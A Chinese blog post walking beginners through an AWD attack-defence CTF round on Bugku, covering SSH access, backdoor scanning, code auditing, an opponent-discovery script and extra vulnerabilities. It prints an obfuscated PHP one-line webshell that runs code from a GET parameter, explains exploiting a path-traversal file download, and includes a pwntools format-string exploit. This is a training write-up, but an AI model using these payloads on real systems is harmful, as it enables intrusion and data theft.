Bugku S3 AWD排位赛-3(带你入门awd流程)

目录

1、注意事项

2、xshell连接与html目录下载

3、D盾与河马的使用(文件扫描)

4、Seay的使用(代码审计)

5、爆破对手的IP地址 

6、其他

(1)mysql远程访问漏洞

(2)Redis未授权访问漏洞 

(3)pwn漏洞


1、注意事项

# 比赛开始前由队长将每个队员的ip添加进白名单

# 比赛开始后有30分钟进行加固修复,此时是无法获取对手ip的

# AWD比赛会对一些工具进行限制或者禁止使用,具体看比赛规则

# 该比赛是3个人一队,一般分配为漏洞修补(防守)、代码审计(挖洞)、漏洞利用(攻击)

2、xshell连接与html目录下载

拿到账号密码后使用xshell连接

输入主机IP和端口号

进行用户身份验证

输入给的用户名和密码

 连接成功后,切换到html目录

将var/www下的html目录下载下来 (可以使用命令打包,也可以使用xftp传输)

3、D盾与河马的使用(文件扫描)

将目录扔给D盾和河马进行扫描查杀

./hm scan html
# 先切换到河马所在目录,同时将我们下载的html目录也移动到河马所在目录,更方便扫描
# ./表示执行,这里可以使用scan也可以使用deepscan进行深度扫描,后面接需要扫描的目录

 

查看扫描结果,这里D盾和河马都检测出了两个后门文件

我们可以查看一下详细的文件 config.php

<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

分析: 

1. `$poc` 变量包含了字符串 "a#s#s#e#r#t"。
2. 使用 `explode("#", $poc)` 函数将字符串分割成数组 `$poc_1`,每个元素都是 "a"、"s"、"s"、"e"、"r"、"t"。
3. 然后,将数组 `$poc_1` 的元素连接起来,形成字符串 `$poc_2`,其值为 "assert"。
4. 最后,代码执行了 `$poc_2($_GET['s'])`,它将执行用户通过 GET 请求传递的参数 's' 对应的值,作为 PHP 代码来执行。

我们只需要控制 's' 参数的值,便可以在服务器上执行任意的 PHP 代码,这种代码结构常被称为 "PHP代码注入",因为它允许我们注入恶意代码。

说白了这就是一个一句话木马

我们根据下载的html目录,找到config.php所在的路径

直接利用

成功拿到flag 

我们不光要进行攻击,还需要修复,直接删掉自己网站的config.php

在ip.php和info.php上面并未发现什么漏洞,当然不放心的话也可以删掉

4、Seay的使用(代码审计)

将目录放进Seay进行源代码审计(这个工作应该和扫描是同时进行的,我这里只是分开讲而已)

查看文件详情 word.php

<?php
error_reporting(0);

// 接受 GET 方式传递过来的 file 值
$f_name = $_GET['src'];
$file_path = "../resources/".$f_name;

if(file_exists($file_path)) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file_path));
    flush();
    readfile($file_path);
    die();
} else {
    http_response_code(404);
}
?>

这段PHP代码主要用于文件下载:

1. `error_reporting(0);` 语句用于关闭PHP错误报告,这意味着在运行时不会显示任何PHP错误或警告。
2. 通过 `$_GET['src']` 获取名为 'src' 的GET参数的值,该值应该是要下载的文件名。
3. 构建文件路径 `$file_path`,将 "../resources/" 与 GET 参数 'src' 的值连接起来,形成完整的文件路径。
4. 使用 `file_exists($file_path)` 检查文件是否存在。如果文件存在,继续执行下面的代码块。
5. 设置一系列HTTP响应头,以指定下载文件的各种属性,如文件类型、文件名、缓存控制等。
6. 使用 `readfile($file_path)` 输出文件内容,将文件发送到浏览器进行下载。
7. `die()` 语句用于终止PHP脚本的执行,确保只返回文件内容,而不会继续执行其他代码。
8. 如果文件不存在,使用 `http_response_code(404)` 设置HTTP响应代码为404(文件未找到。

允许用户通过GET请求下载服务器上的文件,如果文件存在的话。

脚本word.php位于api目录下,以get的方式请求参数src

我们知道flag是在根目录下面,这里可以使用 ../ (访问上一级目录)来实现目录遍历攻击

这个也叫任意文件读取漏洞

攻击成功

5、爆破对手的IP地址 

这个只能在比赛开始30分钟后才可以爆破出来

可以自己设置一个爆破的范围,url里面的东西根据比赛的实际情况稍作修改即可

爆破结果会存在host.txt里面

下面附上脚本:

import requests
from concurrent.futures import ThreadPoolExecutor
import re
f = open("host.txt", "w")

def get_ip(url):
    resp = requests.get(url)
    status = resp.status_code
    if status == 200:
        f.write(url + "\n")
        print(url)

url = []
for i in range(1, 255):
    url.append("http://192-168-1-" + str(i) + ".pvp2932.bugku.cn")
with ThreadPoolExecutor(max_workers=100) as executor:
    executor.map(get_ip, url)

6、其他

(1)mysql远程访问漏洞

通过目录下的dbconfig.php我们可以得到数据库信息:
账号为cms 密码也为cms(3306是mysql数据库的默认端口号)

感兴趣的可以自己去了解下相关的东西,但是我这里并没有连接成功

(2)Redis未授权访问漏洞 

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

由于我也是刚接触这个,对于Redis指令也不熟悉,各位可以找其他相关文章看

想利用这个漏洞需要先装一个工具redis-cli

后面发现连接redis数据库可以不用安装redis-cli,使用telnet也是可以的

(3)pwn漏洞

pwn我也不怎么会,只会做做简单的栈溢出,这个也只能靠大家自己去了解学习了

下面是wp给的exp脚本(可能有问题):

from pwn import *

context.terminal = ['termite', '-e']

#p = gdb.debug('./easy_string_format', gdbscript='b *main+125\nc')
p = process('./echoasaservice')
p.recvline()
payload = bytearray()
payload += "%8$lx.%9$lx.%10$lx".encode()
p.sendline(payload)
flag = p.recvline().decode('utf-8').rstrip()
split = flag.split('.')
endian = "".join(["".join(reversed([j[i:i+2] for i in range(0, len(j), 2)])) for j in split])
print(bytearray.fromhex(endian).decode())

关于AWD的介绍到此为止,由于本人技术知识有限,很多东西也没有能力给大家演示,只能靠大家自学,不过还是希望看完这篇文章,可以帮助大家了解和入门AWD的基本流程。

后面会继续给大家分享网络安全和CTF相关的知识内容

我是Myon,喜欢的可以关注点赞支持一下,谢谢大家!

猜你喜欢

转载自blog.csdn.net/Myon5/article/details/132654943
今日推荐